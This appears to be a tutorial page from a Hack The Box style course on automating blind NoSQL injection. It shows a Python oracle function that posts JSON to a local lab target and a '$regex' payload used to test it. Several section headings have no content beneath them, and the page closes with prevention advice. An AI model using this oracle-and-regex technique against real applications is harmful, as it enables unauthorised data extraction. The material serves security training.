Automating Blind Extraction

Manually extracting data via blind injection gets tedious very quickly. Luckily, it is very easily automated using Python scripts.

Oracle Function

Create a function that queries the application and returns true/false based on response:

import requests
import json

def oracle(t):
    r = requests.post(
        "http://127.0.0.1/index.php",
        headers = {"Content-Type": "application/json"},
        data = json.dumps({"trackingNum": t})
    )
    return "bmdyy" in r.text  # Target indicator in response

Verification

Test the oracle function with known values:

# Make sure the oracle is functioning correctly
assert (oracle("X") == False)  # Known non-existent value
assert (oracle({"$regex": "^HTB{.*"}) == True)  # Known pattern

Automated Extraction

Basic Character-by-Character Extraction

Optimized Extraction (Known Format)

When you know the format (e.g., HTB{[0-9a-f]{32}}):

Complete Script Example

Performance Optimization

Character Set Reduction

  • Known format: Limit to specific characters (0-9a-f for hex)

  • Case sensitivity: Test both uppercase and lowercase

  • Special characters: Include based on application context

Parallel Processing

Error Handling

Key Points

  • Oracle function: Central function to test queries

  • Verification: Always test with known values first

  • Character sets: Optimize based on expected format

  • Error handling: Implement retries and timeouts

  • Progress tracking: Print progress for long extractions

  • Performance: Use parallel processing for large character sets

Prevention

  • Implement rate limiting to prevent automated attacks

  • Monitor for suspicious query patterns

  • Use input validation and parameterized queries

  • Log and alert on repeated failed attempts

Last updated